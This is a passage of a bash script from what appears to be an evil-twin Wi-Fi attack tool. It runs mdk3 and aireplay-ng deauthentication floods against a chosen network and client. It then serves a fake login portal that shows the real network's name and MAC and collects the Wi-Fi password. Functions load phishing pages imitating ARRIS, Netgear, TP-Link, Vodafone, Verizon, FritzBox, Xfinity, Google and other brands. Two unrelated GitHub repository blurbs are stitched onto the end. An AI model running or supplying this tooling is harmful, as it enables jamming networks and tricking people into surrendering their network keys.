$Host_CHAN & mdk3PID=$! } # Deauth to a specific target function deauthesp { sleep 2 xterm $HOLD $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating client $Client_MAC" -e aireplay-ng -0 $DEAUTHTIME -a $Host_MAC -c $Client_MAC --ignore-negative-one $WIFI_MONITOR & } # Close all processes function matartodo { killall aireplay-ng &>$flux_output_device kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device killall hostapd &>$flux_output_device killall lighttpd &>$flux_output_device killall dhcpd &>$flux_output_device killall xterm &>$flux_output_device } ######################################### < INTERFACE WEB > ######################################## # Create the contents for the web interface function NEUTRA { if [ ! -d $DUMP_PATH/data ]; then mkdir $DUMP_PATH/data fi source $WORK_DIR/lib/site/index | base64 -d > $DUMP_PATH/file.zip unzip $DUMP_PATH/file.zip -d $DUMP_PATH/data &>$flux_output_device rm $DUMP_PATH/file.zip &>$flux_output_device echo "<!DOCTYPE html> <html> <head> <title>Login Page</title> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"> <!-- Styles --> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/> <!-- Scripts --> <script src=\"js/jquery-1.11.1.min.js\"></script> <script src=\"js/jquery.mobile-1.4.5.min.js\"></script> </head> <body> <!-- final page --> <div id=\"done\" data-role=\"page\" data-theme=\"a\"> <div data-role=\"main\" class=\"ui-content ui-body ui-body-b\" dir=\"$DIALOG_WEB_DIR\"> <h3 style=\"text-align:center;\">$DIALOG_WEB_OK</h3> </div> </div> </body> </html>" > $DUMP_PATH/data/final.html echo "<!DOCTYPE html> <html> <head> <title>Login Page</title> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"> <!-- Styles --> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/> <!-- Scripts --> <script src=\"js/jquery-1.11.1.min.js\"></script> <script src=\"js/jquery.mobile-1.4.5.min.js\"></script> <script src=\"js/jquery.validate.min.js\"></script> <script src=\"js/additional-methods.min.js\"></script> </head> <body> <!-- Error page --> <div data-role=\"page\" data-theme=\"a\"> <div data-role=\"main\" class=\"ui-content ui-body ui-body-b\" dir=\"$DIALOG_WEB_DIR\"> <h3 style=\"text-align:center;\">$DIALOG_WEB_ERROR</h3> <a href=\"index.htm\" class=\"ui-btn ui-corner-all ui-shadow\" onclick=\"location.href='index.htm'\">$DIALOG_WEB_BACK</a> </div> </div> </body> </html>" > $DUMP_PATH/data/error.html echo "<!DOCTYPE html> <html> <head> <title>Login Page</title> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, height=device-height, initial-scale=1.0\"> <!-- Styles --> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/jquery.mobile-1.4.5.min.css\"/> <link rel=\"stylesheet\" type=\"text/css\" href=\"css/main.css\"/> <!-- Scripts --> <script src=\"js/jquery-1.11.1.min.js\"></script> <script src=\"js/jquery.mobile-1.4.5.min.js\"></script> <script src=\"js/jquery.validate.min.js\"></script> <script src=\"js/additional-methods.min.js\"></script> </head> <body> <!-- Main page --> <div data-role=\"page\" data-theme=\"a\"> <div class=\"ui-content\" dir=\"$DIALOG_WEB_DIR\"> <fieldset> <form id=\"loginForm\" class=\"ui-body ui-body-b ui-corner-all\" action=\"check.php\" method=\"POST\"> </br> <div class=\"ui-field-contain ui-responsive\" style=\"text-align:center;\"> <div>ESSID: <u>$Host_SSID</u></div> <div>BSSID: <u>$Host_MAC</u></div> <div>Channel: <u>$Host_CHAN</u></div> </div> <div style=\"text-align:center;\"> <br><label>$DIALOG_WEB_INFO</label></br> </div> <div class=\"ui-field-contain\" > <label for=\"key1\">$DIALOG_WEB_INPUT</label> <input id=\"key1\" data-clear-btn=\"true\" type=\"password\" value=\"\" name=\"key1\" maxlength=\"64\"/> </div> <input data-icon=\"check\" data-inline=\"true\" name=\"submitBtn\" type=\"submit\" value=\"$DIALOG_WEB_SUBMIT\"/> </form> </fieldset> </div> </div> <script src=\"js/main.js\"></script> <script> $.extend( $.validator.messages, { required: \"$DIALOG_WEB_ERROR_MSG\", maxlength: $.validator.format( \"$DIALOG_WEB_LENGTH_MAX\" ), minlength: $.validator.format( \"$DIALOG_WEB_LENGTH_MIN\" )}); </script> </body> </html>" > $DUMP_PATH/data/index.htm } # Functions to populate the content for the custom phishing pages function ARRIS { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/ARRIS-ENG/* $DUMP_PATH/data } function BELKIN { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/belkin_eng/* $DUMP_PATH/data } function NETGEAR { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/netgear_eng/* $DUMP_PATH/data } function ARRIS2 { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/arris_esp/* $DUMP_PATH/data } function NETGEAR2 { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/netgear_esp/* $DUMP_PATH/data } function TPLINK { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/tplink/* $DUMP_PATH/data } function VODAFONE { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/vodafone_esp/* $DUMP_PATH/data } function VERIZON { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/verizon/Verizon_files $DUMP_PATH/data cp $WORK_DIR/sites/verizon/Verizon.html $DUMP_PATH/data } function HUAWEI { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/huawei_eng/* $DUMP_PATH/data } function ZIGGO_NL { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/ziggo_nl/* $DUMP_PATH/data } function KPN_NL { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/kpn_nl/* $DUMP_PATH/data } function ZIGGO2016_NL { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/ziggo2_nl/* $DUMP_PATH/data } function FRITZBOX_DE { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/fritzbox_de/* $DUMP_PATH/data } function FRITZBOX_ENG { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/fritzbox_eng/* $DUMP_PATH/data } function GENEXIS_DE { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/genenix_de/* $DUMP_PATH/data } function Login-Netgear { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/Login-Netgear/* $DUMP_PATH/data } function Login-Xfinity { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/Login-Xfinity/* $DUMP_PATH/data } function Telekom { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/telekom/* $DUMP_PATH/data } function google { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/google_de/* $DUMP_PATH/data } function MOVISTAR_ES { mkdir $DUMP_PATH/data &>$flux_output_device cp -r $WORK_DIR/sites/movistar_esp/* $DUMP_PATH/data } ######################################### < INTERFACE WEB > ######################################## top && setresolution && setinterface
machanic / TangentAttackThe official implementation of NeurIPS 2021 paper: Finding Optimal Tangent Points for Reducing Distortions of Hard-label Attacks
genbing99 / MTSN Spot ME MaEMTSN: A Multi-Temporal Stream Network for Spotting Facial Macro- and Micro-Expression with Hard and Soft Pseudo-labels
